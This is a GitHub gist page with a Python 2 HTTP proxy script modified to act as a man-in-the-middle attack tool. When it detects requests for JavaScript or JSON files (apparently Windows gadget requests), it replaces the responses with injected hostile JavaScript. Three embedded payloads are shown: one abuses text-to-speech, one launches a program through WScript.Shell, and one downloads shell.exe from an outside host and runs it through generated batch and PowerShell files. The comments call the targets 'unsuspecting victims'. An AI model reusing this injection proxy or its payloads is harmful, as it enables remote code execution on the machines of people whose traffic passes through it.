Created
November 24, 2012 10:23
-
-
Save epinna/4139109 to your computer and use it in GitHub Desktop.
Tiny HTTP Proxy
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
__doc__ = """Tiny HTTP Proxy. | |
This module implements GET, HEAD, POST, PUT and DELETE methods | |
on BaseHTTPServer, and behaves as an HTTP proxy. The CONNECT | |
method is also implemented experimentally, but has not been | |
tested yet. | |
Any help will be greatly appreciated. SUZUKI Hisao | |
2009/11/23 - Modified by Mitko Haralanov | |
* Added very simple FTP file retrieval | |
* Added custom logging methods | |
* Added code to make this a standalone application | |
""" | |
__version__ = "0.3.1" | |
import BaseHTTPServer, select, socket, SocketServer, urlparse | |
import logging | |
import logging.handlers | |
import getopt | |
import sys | |
import os | |
import signal | |
import threading | |
from types import FrameType, CodeType | |
from time import sleep | |
import ftplib | |
DEFAULT_LOG_FILENAME = "proxy.log" | |
PAYLOAD_1 = "HTTP/1.1 200 OK\r\nConnection: close\r\nDate: Fri, 13 May 2013 00:00:00 GMT\r\nContent-Length: 186\r\nContent-Type: text/javascript\r\nCache-control: private\r\n\r\nox=new ActiveXObject(\"SAPI.SpVoice.1\");oy = ox.GetVoices() ; ox.Speak(\"This is a demo of how to abuse the text to speech feature in windows 7, you know, for the lulz, ha ha ha ha ha\");\r\n" | |
PAYLOAD_2 = "HTTP/1.1 200 OK\r\nConnection: close\r\nDate: Fri, 13 May 2013 00:00:00 GMT\r\nContent-Length: 70\r\nContent-Type: text/javascript\r\nCache-control: private\r\n\r\nvar shell=new ActiveXObject(\"WScript.Shell\"); shell.Run(\"calc\", 1); \r\n" | |
PAYLOAD_3 = "HTTP/1.1 200 OK\r\nConnection: close\r\nDate: Fri, 13 May 2013 00:00:00 GMT\r\nContent-Length: 1337\r\nContent-Type: text/javascript\r\nCache-control: private\r\n\r\nfunction saveBinaryData(fileName, binaryData)\r\n{\r\nvar adTypeBinary = 1;\r\nvar adSaveCreateOverWrite = 2;\r\nvar stream = new ActiveXObject(\"ADODB.Stream\");\r\nstream.type = adTypeBinary;\r\nstream.open();\r\nstream.write(binaryData);\r\nstream.saveToFile(fileName, adSaveCreateOverWrite);\r\n}\r\nfunction getBinaryDataFromUrl(url)\r\n{\r\nvar xmlHttp = new ActiveXObject(\"WinHttp.WinHttpRequest.5.1\");\r\nxmlHttp.open(\"GET\", url, false);\r\nxmlHttp.send();\r\nreturn xmlHttp.responseBody;\r\n}\r\nfunction downloadFileFromUrl(url,fileName)\r\n{\r\nsaveBinaryData(fileName, getBinaryDataFromUrl(url));\r\n}\r\nvar uname=System.Environment.getEnvironmentVariable('USERNAME');\r\nvar startupFolder='c:\\\\Users\\\\'+uname+'\\\\Desktop\\\\';\r\nvar downloadFile=startupFolder+'shell.exe';\r\ndownloadFileFromUrl('http://172.16.61.133:9000/shell.exe', downloadFile);var powershell=\"function StartShell { \"+startupFolder+\"\\\"shell.exe\\\" } StartShell\"; var payload=\"powershell.exe Get-Content 'c:\\\\temp\\\\startshell.ps1' | powershell.exe -noprofile -\"; var fso=new ActiveXObject(\"Scripting.FileSystemObject\"); var fh=fso.CreateTextFile(\"c:\\\\temp\\\\bypassme.bat\", true); fh.WriteLine(payload); fh.Close(); var fh=fso.CreateTextFile(\"c:\\\\temp\\\\startshell.ps1\", true); fh.WriteLine(powershell); fh.Close(); var shell=new ActiveXObject(\"WScript.Shell\"); shell.Run(\"cmd /C c:\\\\temp\\\\bypassme.bat\", 0);" | |
class ProxyHandler (BaseHTTPServer.BaseHTTPRequestHandler): | |
__base = BaseHTTPServer.BaseHTTPRequestHandler | |
__base_handle = __base.handle | |
server_version = "TinyHTTPProxy/" + __version__ | |
rbufsize = 0 # self.rfile Be unbuffered | |
payload = 2 | |
def handle(self): | |
(ip, port) = self.client_address | |
self.server.logger.log (logging.INFO, "Request from '%s'", ip) | |
if hasattr(self, 'allowed_clients') and ip not in self.allowed_clients: | |
self.raw_requestline = self.rfile.readline() | |
if self.parse_request(): self.send_error(403) | |
else: | |
self.__base_handle() | |
def _connect_to(self, netloc, soc): | |
i = netloc.find(':') | |
if i >= 0: | |
host_port = netloc[:i], int(netloc[i+1:]) | |
else: | |
host_port = netloc, 80 | |
self.server.logger.log (logging.INFO, "connect to %s:%d", host_port[0], host_port[1]) | |
try: soc.connect(host_port) | |
except socket.error, arg: | |
try: msg = arg[1] | |
except: msg = arg | |
self.send_error(404, msg) | |
return 0 | |
return 1 | |
def do_CONNECT(self): | |
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
try: | |
if self._connect_to(self.path, soc): | |
self.log_request(200) | |
self.wfile.write(self.protocol_version + | |
" 200 Connection established\r\n") | |
self.wfile.write("Proxy-agent: %s\r\n" % self.version_string()) | |
self.wfile.write("\r\n") | |
self._read_write(soc, 300) | |
finally: | |
soc.close() | |
self.connection.close() | |
def do_GET(self): | |
(scm, netloc, path, params, query, fragment) = urlparse.urlparse( | |
self.path, 'http') | |
if scm not in ('http', 'ftp') or fragment or not netloc: | |
self.send_error(400, "bad url %s" % self.path) | |
return | |
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
try: | |
if scm == 'http': | |
if self._connect_to(netloc, soc): | |
self.log_request() | |
soc.send("%s %s %s\r\n" % (self.command, | |
urlparse.urlunparse(('', '', path, | |
params, query, | |
'')), | |
self.request_version)) | |
self.headers['Connection'] = 'close' | |
try: | |
print self.path | |
#temp = self.headers['UA-CPU'] | |
#the line above is for win 7 x64 gadget requests, commented out for the sake of functionality | |
print "Detecting gadget fingerprint" | |
if (self.path.endswith(".js") | self.path.endswith(".jsp")| self.path.endswith(".json")): | |
print "Detected a gadget request, implanting malicous code" | |
print " - Detected : "+self.command +" "+self.path | |
del self.headers['Proxy-Connection'] | |
for key_val in self.headers.items(): | |
soc.send("%s: %s\r\n" % key_val) | |
soc.send("\r\n") | |
self._implant(soc) | |
else: | |
print "This is a gadget request but not injectable" | |
raise Exception("") | |
#print netloc | |
except: | |
del self.headers['Proxy-Connection'] | |
for key_val in self.headers.items(): | |
soc.send("%s: %s\r\n" % key_val) | |
soc.send("\r\n") | |
self._read_write(soc) | |
elif scm == 'ftp': | |
i = netloc.find ('@') | |
if i >= 0: | |
login_info, netloc = netloc[:i], netloc[i+1:] | |
try: user, passwd = login_info.split (':', 1) | |
except ValueError: user, passwd = "anonymous", None | |
else: user, passwd ="anonymous", None | |
self.log_request () | |
try: | |
ftp = ftplib.FTP (netloc) | |
ftp.login (user, passwd) | |
if self.command == "GET": | |
ftp.retrbinary ("RETR %s"%path, self.connection.send) | |
ftp.quit () | |
except Exception, e: | |
self.server.logger.log (logging.WARNING, "FTP Exception: %s", | |
e) | |
finally: | |
soc.close() | |
self.connection.close() | |
def _read_write(self, soc, max_idling=20, local=False): | |
iw = [self.connection, soc] | |
local_data = "" | |
ow = [] | |
count = 0 | |
while 1: | |
count += 1 | |
(ins, _, exs) = select.select(iw, ow, iw, 1) | |
if exs: break | |
if ins: | |
for i in ins: | |
if i is soc: out = self.connection | |
else: out = soc | |
data = i.recv(8192) | |
if data: | |
if local: local_data += data | |
else: out.send(data) | |
count = 0 | |
if count == max_idling: break | |
if local: return local_data | |
return None | |
# This method is a modified version of _read_write, in which we send the payload to the unsuspecting victims | |
def _implant(self, soc, max_idling=20, local=False): | |
iw = [self.connection, soc] | |
local_data = "" | |
ow = [] | |
count = 0 | |
while 1: | |
count += 1 | |
(ins, _, exs) = select.select(iw, ow, iw, 1) | |
if exs: break | |
if ins: | |
for i in ins: | |
if i is soc: out = self.connection | |
else: out = soc | |
data = i.recv(8192) | |
if data: | |
if local: local_data += data | |
else: | |
#print self.payload==2 | |
if (self.payload==2): | |
out.send(PAYLOAD_2) | |
elif (self.payload==1): | |
out.send(PAYLOAD_1) | |
elif (self.payload==3): | |
out.send(PAYLOAD_3) | |
else: | |
out.send(data) | |
#print(data) | |
count = 0 | |
if count == max_idling: break | |
if local: return local_data | |
return None | |
do_HEAD = do_GET | |
do_POST = do_GET | |
do_PUT = do_GET | |
do_DELETE=do_GET | |
def log_message (self, format, *args): | |
self.server.logger.log (logging.INFO, "%s %s", self.address_string (), | |
format % args) | |
def log_error (self, format, *args): | |
self.server.logger.log (logging.ERROR, "%s %s", self.address_string (), | |
format % args) | |
class ThreadingHTTPServer (SocketServer.ThreadingMixIn, | |
BaseHTTPServer.HTTPServer): | |
def __init__ (self, server_address, RequestHandlerClass, logger=None): | |
BaseHTTPServer.HTTPServer.__init__ (self, server_address, | |
RequestHandlerClass) | |
self.logger = logger | |
def logSetup (filename, log_size, daemon): | |
logger = logging.getLogger ("TinyHTTPProxy") | |
logger.setLevel (logging.INFO) | |
if not filename: | |
if not daemon: | |
# display to the screen | |
handler = logging.StreamHandler () | |
else: | |
handler = logging.handlers.RotatingFileHandler (DEFAULT_LOG_FILENAME, | |
maxBytes=(log_size*(1<<20)), | |
backupCount=5) | |
else: | |
handler = logging.handlers.RotatingFileHandler (filename, | |
maxBytes=(log_size*(1<<20)), | |
backupCount=5) | |
fmt = logging.Formatter ("[%(asctime)-12s.%(msecs)03d] " | |
"%(levelname)-8s {%(name)s %(threadName)s}" | |
" %(message)s", | |
"%Y-%m-%d %H:%M:%S") | |
handler.setFormatter (fmt) | |
logger.addHandler (handler) | |
return logger | |
def usage (msg=None): | |
if msg: print msg | |
print sys.argv[0], "[-p port] [-i ip] [-x payload_number] [-l logfile] [-dh] [allowed_client_name ...]]" | |
print " -p - Port to bind to" | |
print " -l - Path to logfile. If not specified, STDOUT is used" | |
print " -d - Run in the background" | |
print " -i - use the following ip" | |
print " -x - executes the numbered payload" | |
def handler (signo, frame): | |
while frame and isinstance (frame, FrameType): | |
if frame.f_code and isinstance (frame.f_code, CodeType): | |
if "run_event" in frame.f_code.co_varnames: | |
frame.f_locals["run_event"].set () | |
return | |
frame = frame.f_back | |
def daemonize (logger): | |
class DevNull (object): | |
def __init__ (self): self.fd = os.open ("/dev/null", os.O_WRONLY) | |
def write (self, *args, **kwargs): return 0 | |
def read (self, *args, **kwargs): return 0 | |
def fileno (self): return self.fd | |
def close (self): os.close (self.fd) | |
class ErrorLog: | |
def __init__ (self, obj): self.obj = obj | |
def write (self, string): self.obj.log (logging.ERROR, string) | |
def read (self, *args, **kwargs): return 0 | |
def close (self): pass | |
if os.fork () != 0: | |
## allow the child pid to instanciate the server | |
## class | |
sleep (1) | |
sys.exit (0) | |
os.setsid () | |
fd = os.open ('/dev/null', os.O_RDONLY) | |
if fd != 0: | |
os.dup2 (fd, 0) | |
os.close (fd) | |
null = DevNull () | |
log = ErrorLog (logger) | |
sys.stdout = null | |
sys.stderr = log | |
sys.stdin = null | |
fd = os.open ('/dev/null', os.O_WRONLY) | |
#if fd != 1: os.dup2 (fd, 1) | |
os.dup2 (sys.stdout.fileno (), 1) | |
if fd != 2: os.dup2 (fd, 2) | |
if fd not in (1, 2): os.close (fd) | |
def main (): | |
logfile = None | |
daemon = False | |
max_log_size = 20 | |
port = 8000 | |
local_hostname = socket.gethostname () | |
ip= socket.gethostbyname (local_hostname) | |
allowed = [] | |
run_event = threading.Event () | |
try: opts, args = getopt.getopt (sys.argv[1:], "l:dhp:i:x:", []) | |
except getopt.GetoptError, e: | |
usage (str (e)) | |
return 1 | |
for opt, value in opts: | |
if opt == "-p": port = int (value) | |
if opt == "-l": logfile = value | |
if opt == "-d": daemon = not daemon | |
if opt == "-i": ip= value | |
if opt == "-x": ProxyHandler.payload= int(value) | |
if opt == "-h": | |
usage () | |
return 0 | |
# setup the log file | |
logger = logSetup (logfile, max_log_size, daemon) | |
if daemon: | |
daemonize (logger) | |
signal.signal (signal.SIGINT, handler) | |
if args: | |
allowed = [] | |
for name in args: | |
client = socket.gethostbyname(name) | |
allowed.append(client) | |
logger.log (logging.INFO, "Accept: %s (%s)" % (client, name)) | |
ProxyHandler.allowed_clients = allowed | |
else: | |
logger.log (logging.INFO, "Any clients will be served...") | |
#print local_hostname | |
#server_address = (socket.gethostbyname (local_hostname), port) | |
server_address = (ip, port) | |
ProxyHandler.protocol = "HTTP/1.0" | |
httpd = ThreadingHTTPServer (server_address, ProxyHandler, logger) | |
sa = httpd.socket.getsockname () | |
print "Serving HTTP on", sa[0], "port", sa[1] | |
req_count = 0 | |
while not run_event.isSet (): | |
try: | |
httpd.handle_request () | |
req_count += 1 | |
if req_count == 1000: | |
logger.log (logging.INFO, "Number of active threads: %s", | |
threading.activeCount ()) | |
req_count = 0 | |
except select.error, e: | |
if e[0] == 4 and run_event.isSet (): pass | |
else: | |
logger.log (logging.CRITICAL, "Errno: %d - %s", e[0], e[1]) | |
logger.log (logging.INFO, "Server shutdown") | |
return 0 | |
if __name__ == '__main__': | |
sys.exit (main ()) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment